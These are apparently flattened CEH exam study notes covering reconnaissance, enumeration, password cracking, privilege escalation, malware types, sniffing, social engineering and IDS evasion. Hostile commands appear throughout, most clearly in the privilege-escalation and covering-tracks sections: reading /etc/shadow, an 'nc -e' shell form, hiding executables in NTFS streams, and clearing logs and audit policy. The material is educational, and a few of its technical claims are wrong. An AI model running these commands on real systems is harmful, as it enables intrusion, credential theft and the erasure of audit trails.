nmap -n -Pn -p 80 --open -sV -vvv --script banner,http-title -iR 1000 |
Fast search for random web servers |
nmap -Pn --script=dns-brute domain.com |
Brute forces DNS hostnames guessing subdomains |
nmap -n -Pn -vv -O -sV --script smb-enum*,smb-ls,smb-mbenum,smb-os-discovery,smb-s*,smb-vuln*,smbv2* -vv 192.168.1.1 |
Safe SMB scripts to run |
nmap --script whois* domain.com |
Whois query |
nmap -p80 --script http-unsafe-output-escaping scanme.nmap.org |
Detect cross site scripting vulnerabilities |
nmap -p80 --script http-sql-injection scanme.nmap.org |
Check for SQL injections |
⚡︎ Check the hping3 practical lab
Hping3 is a scriptable program that uses the Tcl language, whereby packets can be received and sent via a binary or string representation describing the packets.
Switch | Description |
---|---|
-1 | Sets ICMP mode |
-2 | Sets UDP mode |
-8 | Sets scan mode. Expects port range without -p flag |
-9 | Listen mode. Expects signature (e.g. HTTP) and interface (-I eth0) |
--flood | Sends packets as fast as possible without showing incoming replies |
-Q | Collects sequence numbers generated by the host |
-p | Sets port number |
-F | Sets the FIN flag |
-S | Sets the SYN flag |
-R | Sets the RST flag |
-P | Sets the PSH flag |
-A | Sets the ACK flag |
-U | Sets the URG flag |
-X | Sets the XMAS scan flags |
nmap -D RND:10 x.x.x.x
nmap -D decoyIP1,decoyIP2....,sourceIP,.... [target]
⚡︎ Check the IP Address Decoy practical lab using nmap
Banner grabbing can be used to get information about OS or specific server info (such as web server, mail server, etc.)
nc -e <IP address> <Port>
nc -l -p 5555
opens a listening port on 5555nc <IP address or FQDN> <port number>
nc
command with target IP
address and port 80
GET / HTTP/1.0
(this GET request will send to the web server).nc 192.168.63.143 80
GET / HTTP/1.0
HTTP/1.1 200 OK
Date: Sun, 12 Aug 2018 13:36:59 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Length: 891
Connection: close
Content-Type: text/html
<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>
_ _ _ _ _ _ ____
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
|_|
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
</pre>
<ul>
<li><a href="/twiki/">TWiki</a></li>
The Vulnerability Management Life Cycle is intended to allow organizations to identify system security weaknesses; prioritize assets; assess, report, and remediate the weaknesses; and verify that they have been eliminated.
Can be complex or simple tools run against a target to determine vulnerabilities.
Types of Vuln. Assessment tools:
Tools:
CVSS - Common Vulnerability Scoring System [+]
CVE – Common Vulnerabilities and Exposures [+]
NVD - National Vulnerability Database [+]
ProxyChains is open-source software that is available free and most of Linux distro it is pre-installed. If you are using the latest version of Kali Linux it is pre-installed in it.
ProxyChains is a tool that redirects the TCP (Transmission Control Protocol) connection with the help of proxies like TOR, HTTP(S), and SOCKS, and it creates a proxy chain server.
ProxyChains Features:
Enumeration is the process of extracting user names, machine names, network resources, shares, and services from a system, and its conducted in an intranet environment.
In this phase, the attacker creates an active connection to the system and performs directed queries to gain more information about the target. The gathered information is used to identify the vulnerabilities or weak points in system security and tries to exploit in the System gaining phase.
⚡︎ Check the SNMP Enumeration practical lab
SNMP enumeration is the process of enumerating the users accounts and devices on a SNMP enabled computer.
passwords
) come with a default value, which is
same for all the systems.Attackers enumerate SNMP to extract information about network resources such as hosts, routers, devices, shares(...) Network information such as ARP tables, routing tables, device specific information and traffic statistics.
snmp-check
--> SNMP device enumerator comes pre-installed on Kali Linux
machine; snmp-check supports a huge type of enumerations:
contact and user accounts
devices
domain
hardware and storage informations
hostname
IIS statistics
listening UDP ports and TCP connections
motd (banner)
network interfaces and network services
routing information
etc
Metasploit module snmp_enum
snmpwalk
Engineer's Toolset
SNMPScanner
OpUtils 5
SNScan
Example of SNScan:
wmic useraccount where name='username' get sid
finger
- info on user and host machinerpcinfo
and rpcclient
- info on RPC in the
environmentshowmount
- displays all shared directories on the machinenet view \\sysName
Enumerating NetBIOS:
You can use nmap or zenmap
to check which OS the target is using, and which ports
are open:
nmap -O <target>
If theres any UDP port 137 or TCP port 138/139 open, we can assume that the target is running some type of NetBIOS service.
On Windows is nbtstat
command:
nbtstat
displays protocol statistics and current TCP/IP connections using NetBIOS
over TCP/IP.
nbtstat
gives your own infonbtstat -a
list the remote machine's name table given its name
nbtstat -A
- list the remote machine's name table given its IP
addressnbtstat -n
gives local tablenbtstat -c
gives cache informationCode | Type | Meaning |
---|---|---|
<1B> | UNIQUE | Domain master browser |
<1C> | UNIQUE | Domain controller |
<1D> | GROUP | Master browser for subnet |
<00> | UNIQUE | Hostname |
<00> | GROUP | Domain name |
<03> | UNIQUE | Service running on system |
<20> | UNIQUE | Server service running |
Enum4linux
is a tool for enumerating information from Windows and Samba systems:
enum4linux -u CEH -p Pa55w0rd -U 10.0.2.23
-u
Username, -p
Password, -U
users informationKey features:
finger
--> who is currently logged in, when and where.
Login Name Tty Idle Login Time Office Office Phone
kali Kali tty7 10:09 Sep 1 14:14 (:0)
w
--> Show who is logged on and what they are doing.
00:27:15 up 9:32, 1 user, load average: 0.06, 0.09, 0.09
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
kali tty7 :0 14:16 10:11m 30.26s 2.09s xfce4-session
⚠️ Linux architecture and commands will be cover later on next module.
Runs on TCP ports 389 and 636 (over SSL)
Connects on 389 to a Directory System Agent (DSA)
Returns information such as valid user names, domain information, addresses, telephone numbers, system data, organization structure and other items
To identify if the target system is using LDAP services you can use nmap with -sT
flag for TCP connect/Full scan and -O
flag for OS detection.
sudo nmap -sT -O <target IP address>
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap <--------------------------------------
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl <--------------------------------------
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49159/tcp open unknown
MAC Address: 00:00:11:33:77:44
Running: Microsoft Windows 2012
OS CPE: cpe:/o:microsoft:windows_server_2012:r2
OS details: Microsoft Windows Server 2012 or Windows Server 2012 R2
Network Distance: 1 hop
Tools for Enumeration LDAP:
JXplorer example:
ntptrace
, ntpdate
, ntpdc
and
ntpq
Nmap example for NTP enumeration:
-sU
UDP scan-pU
port UDP 123 (NTP)-Pn
Treat all hosts as online -- skip host discovery-n
Never do DNS resolutionntp-monlist
will run
against the ntp service which only runs on UDP 123nmap -sU -pU:123 -Pn -n --script=ntp-monlist <target>
PORT STATE SERVICE REASON
123/udp open ntp udp-response
| ntp-monlist:
| Target is synchronised with 127.127.38.0 (reference clock)
| Alternative Target Interfaces:
| 10.17.4.20
| Private Servers (0)
| Public Servers (0)
| Private Peers (0)
| Public Peers (0)
| Private Clients (2)
| 10.20.8.69 169.254.138.63
| Public Clients (597)
| 4.79.17.248 68.70.72.194 74.247.37.194 99.190.119.152
| ...
| 12.10.160.20 68.80.36.133 75.1.39.42 108.7.58.118
| 68.56.205.98
| 2001:1400:0:0:0:0:0:1 2001:16d8:dd00:38:0:0:0:2
| 2002:db5a:bccd:1:21d:e0ff:feb7:b96f 2002:b6ef:81c4:0:0:1145:59c5:3682
| Other Associations (1)
|_ 127.0.0.1 seen 1949869 times. last tx was unicast v2 mode 7
- In simple words: users typically use a program that uses SMTP for sending e-mail and either POP3 or IMAP for receiving e-mail.
-p25
port 25 (SMTP)--script smtp-commands
nmap script - attempts to use EHLO and HELP to gather the Extended commands
supported by an SMTP server.nmap -p25 --script smtp-commands <target IP>
PORT STATE SERVICE
25/tcp open smtp
| smtp-commands: WIN-J83C1DR5CV1.ceh.global Hello [10.10.10.10], TURN, SIZE 2097152, ETRN, PIPELINING, DSN, ENHANCEDSTATUSCODES, 8bitmime, BINARYMIME, CHUNKING, VRFY, OK,
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH TURN ETRN BDAT VRFY
Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds
telnet <target> 25
Command | Description |
---|---|
HELO | It’s the first SMTP command: is starts the conversation identifying the sender server and is generally followed by its domain name. |
EHLO | An alternative command to start the conversation, underlying that the server is using the Extended SMTP protocol. |
MAIL FROM | With this SMTP command the operations begin: the sender states the source email address in the “From” field and actually starts the email transfer. |
RCPT TO | It identifies the recipient of the email |
DATA | With the DATA command the email content begins to be transferred; it’s generally followed by a 354 reply code given by the server, giving the permission to start the actual transmission. |
VRFY | The server is asked to verify whether a particular email address or username actually exists. |
EXPN | asks for a confirmation about the identification of a mailing list. |
Other tools:
⚡︎ This chapter has practical labs
⚡︎ Check out the practical labs on Dumping and Cracking SAM hashes [1], Rainbow Tables Basics [2] and LLMNR/NBT-NS [3].
Includes Dictionary and Brute-force attacks, hash injections, phishing, Trojans, spyware, keyloggers and password guessing
LLMNR / NBT-NS Poisoning - attack based off Windows technologies that caches DNS locally. Responding to these poisons the local cache. If an NTLM v2 hash is sent over, it can be sniffed out and then cracked.
Responder
is the tool to sniff the access logs from LLMNR / NBT-NSKeylogging - process of using a hardware device or software application to capture keystrokes of a user
Active online attacks are easier to detect and take a longer time
Tools for Active Online Attack:
Medusa
Hydra
NBNSpoof
Pupy
Metasploit
Responder
- LLMNR and NBT-NS responder, it will answer to specific
NBT-NS (NetBIOS Name Service) queries based on their name suffix. By default, the tool will only answers to
File Server Service request, which is for SMB.Can combine "net" commands with a tool such as NetBIOS Auditing tool or Legion to automate the testing of user IDs and passwords
Hydra
Metasploit
Cain and Abel
- Can poison ARP and then monitor the victim's traffic; Also used for cracking
hash passwords (LM, NTLM), sniff network packets for password, sniff out for local stored passwords, etc.Ettercap
- MITM tool for LAN's, DNS Spoofer; Help against SSL encryption; Intercept the traffic
on a network segment, capture passwords, and conduct an active eavesdropping against a number of common
protocols.KerbCrack
- built-in sniffer and password cracker looking for port 88 Kerberos trafficScoopLM
- specifically looks for Windows authentication traffic on the wire and has a password
cracker⚠️ Services/Protocols that uses Clear text:
Service | Port |
---|---|
FTP | 20/21 |
TELNET | 23 |
SMTP | 25 |
HTTP | 80 |
POP3 | 110 |
IMAPv4 | 143 |
NetBIOS | 139,445 |
SNMP | 161,162 |
SQLnet | 1521 |
Dictionary Attack - uses a word list to attack the password. Fastest method of attacking
Wordlists - A wordlist or a password dictionary is a collection of passwords stored in plain text. It's basically a text file with a bunch of passwords in it. One popular example of wordlist is the rockyou.txt containing 14,341,564 unique passwords.
You also can generate your own wordlist with given parameters like length, combining letters and numbers, profiling etc.
CeWL
crunch
Brute force attack - Tries every combination of characters to crack a password
Hybrid attack - Takes a dictionary attack and replaces characters (such as a 0 for an o) or adding numbers to the end
Rainbow tables - Uses pre-hashed passwords to compare against a password hash. Is faster because the hashes are already computed.
Tools for cracking password files (CLI):
John the Ripper
- Works on Unix, Windows and Kerberos; Compatible with MySQL, LDAP and MD4.
Hashcat
- Advanced password recovery
tool; Provides several options like hash modes OS's, documents, password managers... (MD5, SHA-family,
RIPE-MD, NTLM, LM, BitLocker, OSX, MD5 salted or iterated, and the list goes on).
Tools for cracking password files (GUI):
Cain & Abel
- Windows software; Cracks hash passwords (LM, NTLM), sniff network packets for
password, sniff out for local stored passwords, etc.LOphcrack
- Paid software; Extract and crack hashes; Uses brute force or dictionary attack;
Ophcrack
- Free open-source; Cracks Windows log-in passwords by using LM hashes through rainbow
tables.Rainbowcrack
- Rainbow tables generator for password crackingLegion
- Legion automates the password guessing in NetBIOS sessions. Legion scans multiple IP
address ranges for Windows shares and also offers a manual dictionary attack tool.KerbCrack
- Crack Kerberos passwords.Mimikatz
- Steal credentials and escalate privileges (Windows NTLM hashes and Kerberos
tickets(Golden Ticket Attack); 'Pass-the-hash' and 'Pass-the-ticker').fgdump
- Dump SAM databases on Windows machines.Pwdump7
- Dump SAM databases on Windows machines.CHNTPW - chntpw is a software utility for resetting or blanking local passwords used by Windows NT, 2000, XP, Vista, 7, 8, 8.1 and 10. It does this by editing the SAM database where Windows stores password hashes.
⚠️
rtgen
,winrtgen
- Tools for generate your own rainbow tables.
⚠️ SAM (Security Account Manager) is a database file present in Windows machines that stores user accounts and security descriptors for users on a local computer. It stores users passwords in a hashed format (in LM hash and NTLM hash). Because a hash function is one-way, this provides some measure of security for the storage of the passwords.
⚠️
/etc/shadow
is where hashed password data is stored in Linux systems (only users with high privileges can access).
⚠️ Password attack countermeasures:
- Length of passwords is good against brute-force attacks.
- Password complexity is good against dictionary attacks.
Three Different Types
Downside is there can be lots of false negatives
False acceptance rate (FAR) - Type II - Likelihood that an unauthorized user will be accepted (This would be bad)
False injection rate (FRR) - Type I - Likelihood that an authorized user will be rejected
Crossover error rate (CER) - Combination of the two; the lower the CER, the better the system
Active - requires interaction (retina scan or fingerprint scanner)
Passive - Requires no interaction (iris scan)
Two-Factor - When you have two types of authentication such as something you know (password) and something you have (access card)
Strength of passwords - Determined by length and complexity
Default passwords - always should be changed and never left what they came with. Databases such as cirt.net, default-password.info and open-sez.me all have databases of these
C:\windows\system32\config
AAD3B435B51404EE
UserName:SID:LM_Hash:NTLM_Hash:::
Database file on a domain controller that stores passwords
⚠️ Uses TCP/UDP Port 88
Microsoft Management Console - used by Windows to administer system
Has "snap-ins" that allow you to modify sets (such as Group Policy Editor)
Command | Description |
---|---|
adduser |
Adds a user to the system |
cat |
Displays contents of file |
cp |
Copies |
ifconfig |
Displays network configuration information |
kill |
Kills a running process |
ls |
Displays the contents of a folder. -l option provides most information. |
man |
Displays the manual page for a command |
passwd |
Used to change password |
ps |
Process status. -ef option shows all processes |
rm |
Removes files. -r option recursively removes all directories and subdirectories |
su |
Allows you to perform functions as another user (super user) |
Adding an ampersand after a process name indicates it should run in the background.
pwd
- displays curennt directory
chmod
- changes the permissions of a folder or file
ls
command with -la
flag on Linux, you can see the permissions.
As you can see below the file have a permission for everyone (777), will be like this:
rwxrwxrwx
---> userrwxrwxrwx
---> grouprwxrwxrwx
---> othersrwxr-xr-x
---> userrwxr-xr-x
---> grouprwxr-xr-x
---> otherschmod g=rw
(set read/write for groups).Root has UID and GID of 0 - you can see this information by issuing the command
id
.
root@kali:~# id
uid=0(root) gid=0(root) groups=0(root)
First user has UID and GID of 500 (Fedora and CentOS); in most Linux systems the non-root/normal user are UID and GID of 1000.
normal-user@kali:~# id
id
uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),117(bluetooth),132(scanner)
Passwords are stored in /etc/shadow for most current systems
/etc/passwd stores passwords in hashes.
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
(...)
/etc/shadow stores passwords encrypted (hashed and salted) and is only accessible by root
sudo cat /etc/shadow
root:!:18390:0:99999:7:::
daemon:*:18390:0:99999:7:::
bin:*:18390:0:99999:7:::
kali:$6$a/53BntOdPOaghAx$VCAdR3Af97cYTtWCtDp9iksacL3gj2Sgrb12EMix0ITuxc5jOQp1lbaRi.jNDsP2qjV3GvFAqd5Fu.8/7/P1.:18281:0:99999:7:::
(...)
⚡︎ Check out the practical lab on PrivEsc
Crack the password of an admin - primary aim
Taking advantage of an OS vulnerability
DLL Hijacking - replacing a DLL in the application directory with your own version which gives you the access you need
In Linux machines is possible to look for crontabs and find misconfigurations on privileges.
In Linux, insecure sudo
can lead a privilege escalation to root; You can check
this by typing: sudo -l
. If there's any system command that allows NOPASSWD option
this may lead to escalation.
Nmap old versions you can start interactive mode and issue the !/bin/bash
to
elevate root priveleges.
Use a tool that will provide you the access such as Metasploit
Social engineering a user to run an application
ECC refers executing applications as "owning" a system
Executing applications - starting things such as keyloggers, spyware, back doors and crackers
Keylogger when associated with spyware, hels to transmit your information to an unknown third party.
Types of Keyloggers:
Hardware keylogger
Software keylogger
⚡︎ Check out the practical labs(2) on Hiding Files using NTFS streams and Steganography
type badfile.exe: > plaintext.txt:badfile.exe
mklink normalApp.exe readme.txt:badfile.exe
)dir /r
does the trick;
streams
from Sysinternals to show streams.attrib +h filename
.
to the beginning of the filename (.file.tar
)steghide
Clearing logs is the main idea behind covering tracks.
Linux keep the command line history on .bash_history
file
rm -rf
to force remove. You also can use shred
-zu
that deletes the file and overwrite on memory.history -c
to clear all command line history on entire system or history
-w
to clear out all session history.Turn off the command logs:
export HISTSIZE=0
echo $HISTSIZE
will return 0 limiting the number of commands which can be saved in $HISTFILE.
clearev - Meterpreter shell command to clear log files (issued inside Metasploit Framework)
Most common logs on Linux:
/var/log/messages
or /var/log/syslog/
/var/log/auth.log
or /var/log/secure
/var/log/boot.log
/var/log/maillog
or var/log/mail.log
echo " " > /var/log/auth.log
echo /dev/null > auth.log
sed
stream editor to delete, replace and insert
data.
sed -i '/opened/d' /var/log/auth.log
- this command will delete every line that contains
the 'opened' word, that refers to opened sessions on Linux system.alt
] + [F7
]Clear-History
In Windows, you need to clear application, system and security logs.
auditpol /get /category:*
--> display all audit policies in detail if is enable (Object
Acces, System, Logon/Logoff, Privilege Use, and so on).auditpol /clear
--> reset (disable) the system audit policy for all subcategories.auditpol /remove
--> Removes all per-user audit policy settings and disables all system
audit policy settings.⚡︎ Check out the practical lab on Auditpol
MRU (Most Recently Used) programs that registry recenlty used programs/files and saves on Windows Registry.
Is possible to manually clear the logs on Event Viewer.
Option is to corrupt a log file - this happens all the time
Best option is be selective and delete the entries pertaining to your actions.
Can also disable auditing ahead of time to prevent logs from being captured
Tools:
⚡︎ This chapter has practical labs
Any software intentionally designed to cause damage to a computer, server or computer network. The code is described as computer viruses, worms, Trojan horses, ransomware, spyware, adware, and scareware, among other terms. Malware has a malicious intent, acting against the interest of the computer user.
Virus - Designed to spread from host to host and has the ability to replicate itself. They cannot reproduce/spread without help. They operate by inserting or attaching itself to a legitimate program or document in order to execute its code.
Macro Virus - Written in a macro language (e.g: VBA) and that is platform independent.
Compression Viruses - Another type of virus that appends itself to executables on the system and compresses them by user's permissions.
Stealth Virus - Hides the modifications it has made; Trick antivirus software; intercepting its requests to the OS and provides false and bogus information.
Polymorphic Virus - Produces varied but operational copies of itself. A polymorphic virus may have no parts that remain identifcal between infections, making it very hard to detect using signatures.
Multipart Virus - Attempts to infect both boot sector and files; generally refers to viruses with multiple infection methods
Self-garbling (metamorphic) virus - Rewrites itself every time it infects a new file.
Other Virus Types
Virus Makers
Worm - self-replicating malware that sends itself to other computers without human intervention
Ghost Eye Worm - hacking tool that uses random messaging on Facebook and other sites to perform a host of malicious efforts.
Logic Bomb - Executes a program when a certain event happens or a date and time arrives.
Rootkit - Set of malicious tools that are loaded on a compromised system through stealthy techniques; Very hard to detect;
Ransomware - malicious software designed to deny access to a computer until a price is paid; usually spread through email
Trojan horse - A program that is disguised as another legitimate program with the goal of carrying out malicious activities in the background without user's knowledge.
Immunizer - Attaches code to a file or application, which would fool a virus into 'thinking' it was already infected. (e.g: like human vaccine).
Behavior blocking - Allowing the suspicious code to execute within the OS and watches its interactions looking for suspicious activities.
️⚠️ - Viruses needs help/interaction to propagate; Worms self propagates
Malware - software designed to harm or secretly access a computer system without informed consent
Overt Channels - legitimate communication channels used by programs
Covert Channels - used to transport data in unintended ways
Wrappers - programs that allow you to bind an executable to an innocent file
Crypters - use a combination of encryption and code manipulation to render malware undetectable to security programs; protects from being scanned or found during analysis.
Downloader - Used to download additional malware.
Dropper - Used to install additional malware into the target system.
Exploit - Malicious code used to execute on a specific vulnerability.
Injector - Used to expose vulnerable processes in the target system to the exploit.
Obfuscator - Used to conceal the true purpose of the malware.
Packers - Used to bundle all of the malware files together into a single executable.
Payload - Used to take over the target machine.
Malicious Code - Used to define the abilities of the malware.
Exploit Kits - help deliver exploits and payloads
Software that appears to perform a desirable function but instead performs malicious activity
Types of Trojans:
Trojan Name | TCP Port |
---|---|
Death | 2 |
Senna Spy | 20 |
Blade Runner, Doly Trojan, Fore, Invisble FTP, WebEx, WinCrash | 21 |
Shaft | 22 |
Executor | 80 |
Hackers Paradise | 31,456 |
TCP Wrappers | 421 |
Ini-Killer | 555 |
Doom, Santaz Back | 666 |
Silencer, WebEx | 1001 |
DolyTrojan | 1011 |
RAT | 1095-98 |
SubSeven | 1243 |
Shiva-Burka | 1600 |
Trojan Cow | 2001 |
Deep Throat | 6670-71 |
Tini | 7777 |
Dumaru.Y | 10000 |
SubSeven 1.0-1.8, MyDoom.B | 10080 |
VooDoo Doll, NetBus 1.x, GabanBus, Pie Bill Gates, X-Bill | 12345 |
Whack a Mole | 12361-3 |
NetBus | 17300 |
Back Orifice | 31337,8 |
SubSeven, PhatBot, AgoBot, Gaobot | 65506 |
⚠️ - Its not necessary to know every possible trojan port in the history for the CEH exam, it's good for understanding.
netstat -an
- shows open ports in numerical ordernetstat -b
- displays all active connections and the processes using themc:\windows\system32\sigverif.txt
Malware analysis is the study or process of determining the functionality, origin and potential impact of a given malware sample such as a virus, worm, trojan horse, rootkit, or backdoor.
Static (Code Analysis) - performed by fragmenting the binary file into individual elements that can be analyzed without executing them.
Dynamic (Behavioral Analysis) - performed by executing the malware to see what effect it has on the system.
Tools for Disassembling | Debugging | Reverse Engineering:
Sheepdip - Dedicated computer which is used to test files on removable media for viruses before they are allowed to be used with other computers.
⚡︎ This chapter has practical labs
Sniffing is the process of monitoring and capturing all the packets passing through a given network using sniffing tools. It is a form of “tapping phone wires” and get to know about the conversation. It is also called wiretapping applied to the computer networks.
Some of the protocols that are vulnerable to sniffing attacks.
IMAP, POP3, NNTP and HTTP all send over clear text data
SMTP is sent in plain text and is viewable over the wire. SMTP v3 limits the information you can get, but you can still see it.
FTP sends user ID and password in clear text
TFTP passes everything in clear text
TCP shows sequence numbers (usable in session hijacking)
TCP and UCP show open ports
IP shows source and destination addresses
arp -a
displays current ARP cachearp -d *
clears ARP cacheIPv6 Address Type | Description |
---|---|
Unicast | Addressed and intended for one host interface |
Multicast | Addressed for multiple host interfaces |
Anycast | Large number of hosts can receive; nearest host opens |
IPv6 Scopes | Description |
---|---|
Link local | Applies only to hosts on the same subnet (Address block fe80::/10) |
Site local | Applies to hosts within the same organization (Address block FEC0::/10) |
Global | Includes everything |
Wiretapping, also known as telephone tapping, is the process of monitoring telephone and Internet conversations by a third party, often by covert means.
Switches either flood or forward data
If a switch doesn't know what MAC address is on a port, it will flood the data until it finds out
CAM Table - the table on a switch that stores which MAC address is on which port
MAC Flooding will often destroy the switch before you get anything useful, doesn't last long and it will get you noticed. Also, most modern switches protect against this.
CAM Table Overflow Attack - Occurs when an attacker connects to a single or multiple switch
ports and then runs a tool that mimics the existence of thousands of random MAC addresses on those switch ports.
The switch enters these into the CAM table, and eventually the CAM table fills to capacity. (This works by
sending so many MAC addresses to the CAM table that it can't keep up). This attack can be
performed by using macof.
Tools for MAC flooding
Tries to update information regarding a specific port in a race condition
ARP spoofing is a type of attack in which a malicious actor sends falsified ARP (Address
Resolution Protocol) messages over a local area network. This results in the linking of an attacker's MAC address
with the IP address of a legitimate computer or server on the network.
Is an attack that targets DHCP servers whereby forged DHCP requests are crafted by an attacker with the intent of exhausting all available IP addresses that can be allocated by the DHCP server.
DHCPDISCOVER
, DHCPOFFER
, DHCPREQUEST
,
DHCPACK
DHCPDISCOVER
DHCPOFFER
DHCPREQUEST
DHCPACK
MAC Spoofing - Changes your MAC address. Benefit is CAM table uses most recent address.
IRDP Spoofing - Attacker sends ICMP Router Discovery Protocol messages advertising a malicious gateway.
DNS Poisoning - Changes where machines get their DNS info from, allowing attacker to redirect to malicious websites.
Wireshark is the world’s foremost and widely-used network protocol analyzer. It lets you see what’s happening on your network at a microscopic level.
With Wirehsark you can inspect and detect ARP poisonings, Rogue DHCP servers, Broadcast Storm etc.
Wireshark filters:
!(arp or icmp or dns)
tcp.port == 23
ip.addr == 10.0.0.165
ip.addr == 172.17.15.12 && tcp.port == 23
ip.src == 10.0.0.224 && ip.dst == 10.0.0.156
http.request
tcp contains string
tcp.flags==0x16
Tcpdump is a data-network packet analyzer computer program that runs under a command line interface. It allows the user to display TCP/IP and other packets being transmitted or received over a network to which the computer is attached.
tcpdump -i eth1
nmap --script=sniffer-detect <target>
⚡︎ This chapter has practical labs
Social Engineering is the art of manipulating a person or group into providing information or a service they would otherwise not have given.
Dumpster Diving - Looking for sensitive information in the trash
Impersonation - Pretending to be someone you're not
Shoulder Surfing - Looking over someone's shoulder to get info
Eavesdropping - Listening in on conversations about sensitive information
Tailgating - Attacker walks in behind someone who has a valid badge. (e.g: Holding boxes or simply by following without getting notice)
Piggybacking - Attacker pretends they lost their badge and asks someone to hold the door
RFID Identity Theft (RFID skimming) - Stealing an RFID card signature with a specialized device
Reverse Social Engineering - Getting someone to call you and give information
Insider Attack - An attack from an employee, generally disgruntled
Can begin with sites like Facebook where information about a person is available; For instance - if you know Bob is working on a project, an email crafted to him about that project would seem quite normal if you spoof it from a person on his project.
Phishing - crafting an email that appears legitimate but contains links to fake websites or to download malicious content.
Spear Phishing - Targeting a person or a group with a phishing attack.
Whaling - Going after CEOs or other C-level executives.
Pharming - Make a user's traffic redirects to a clone website; may use DNS poisoning.
Spamming - Sending spam over instant message.
Fake Antivirus - Very prevalent attack; pretends to be an anti-virus but is a malicious tool.
SET (Social Engineering Toolkit) - Pentest tool design to perform advanced attacks against human by exploiting their behavior.
PhishTank - For phishing detection
Wifiphisher - Automated phishing attacks against Wi-Fi networks in order to obtain credentials or inject malware.
SPF SpeedPhish framework - Quick recon and deployment of simple social eng. exercises
Intrusion Prevention System (IPS) - ACTIVE monitoring of activity looking for anomalies and alerting/notifiying AND taking action when they are found.
Intrusion Detection System (IDS) - PASSIVE monitoring of activity looking for anomalies and alerting/notifying when they are found.
Host based - Monitors activity on a single device/host by being installed lcoally.
Network based - Monitors activity across a network using remote sensors that reprot back to a central system. Often paired with a security Information & SIEM system for analysis. Often Reverse ARP or Reverse DNS lookups are used to discover the source
Knowledge Based (Signature Based | Pattern Matching) - Most common form of detection. Uses a database of profiles, or signatures to assess all traffic against.
Behavior Based (Statistical | Anomaly | Heuristic) - Starts by creating a baseline of behavior for the monitored system/network and then comapres all traffic against that looking for deviations. Can be labeled an AI or Expert system.
Firewalls are often seen as NAC devices. Use of rule sets to filter traffic can implement security policy.
⚠️ An application-level proxy is one that knows about the particular application it is providing proxy services for; it understands and interprets the commands in the application protocol. A circuit-level proxy is one that creates a circuit between the client and the server without interpreting the application protocol.
Multi-homed Firewall (dual-homed) - Firewall that has two or more interfaces; One interface is connected to the untrusted network and another interface is connected to the trusted network. A DMZ can be added to a multi-homed firewall just by adding a third interface.
Bastion hosts - Endpoint that is exposed to the internet but has been hardened to withstand attacks; Hosts on the screened subnet designed to protect internal resources.
Screened host - Endpoint that is protected by a firewall.
Packet-filtering - Firewalls that only looked at headers
⚠️ Only uses rules that implicitly denies traffic unless it is allowed.
⚠️ Oftentimes uses network address translation (NAT) which can apply a one-to-one or one-to-many relationship between external and internal IP addresses.
⚠️ Private zone - hosts internal hosts that only respond to requests from within that zone
Honeypots are decoy systems or servers deployed alongside production systems within your network. When deployed as enticing targets for attackers, honeypots can add security monitoring opportunities for blue teams and misdirect the adversary from their true target.
Honeynet - Two or more honeypots on a network form a honeynet. Honeynets and honeypots are usually implemented as parts of larger Network Intrusion Detection Systems.
A Honeyfarm is a centralized collection of honeypots and analysis tools.
Nmap Switch | Information |
---|---|
-v |
Verbose level |
-sS |
TCP SYN scan |
-T |
Time template for performing the scan |
-f |
Use fragmented IP packets |
-f --mtu |
Use fragmented packets & set MTU |
-D |
IP address Decoy: <decoy1,decoy2[,ME],...>: Cloak a scan with decoys |
-S |
Spoof the source IP address |
--send-eth |
Ensures that we use Ethernet level packets. bypassing the IP layer and sends raw Ethernet frames within the flow |
--data-length |
Specify the length of data/frame |
--source-port |
Specify a randomized port that you want to comunicate |
• Sends IPv4 fragmented 50-byte packet size; The packets are too small to send data and to detect as a Probe/Scanning technique:
nmap -v -sS -f -mtu 32 --send-eth --data-length 50 --source-port 8965 -T5 192.168.0.22
⚠️ Fragmentation is the heart of the IDS/Firewall Evasion techniques.
SNORT is an open source network intrusion detection system (NIDS). Snort is a packet sniffer that monitors network traffic in real time, scrutinizing each packet closely to detect a dangerous payload or suspicious anomalies.
/etc/snort
on Linux and C:\snort\etc
in Windows; the file is
snort.conf.Operational modes:
Snort as Sniffer ---> snort -v
Snort as Packet logger ---> snort -l
Snort as NIDS ---> snort -A
or snort -c <path_to_conf_file>
Example of usage:
snort -i 4 -l c:\Snort\log -c c:\Snort\etc\snort.conf -T
-i 4
---> interface specifier, in case is interface 4.-l
---> for logging-c
---> use Snort rules file specifying path-T
---> Only For testing, this prevent Snort from start up; Essentially to check if there is
any errors and if the rules are good.snort -i 4 -c c:\Snort\etc\snort.conf -l c:\Snort\log -K ascii
Basic commands:
Flag | Information
-|-
-A
| Set alert mode: fast, full, console, test or none
-b
| Log packets in tcpdump format (much faster!)
-B <mask>
| Obfuscate IP addresses in alerts and packet dumps using CIDR mask
-c <rules>
| Use Rules file
-C
| Print out payloads with character data only (no hex)
-l
| Specifies the logging directory (all alerts and packet logs are placed in this directory)
-i <interface number>
| Specifies which interface Snort should listen on
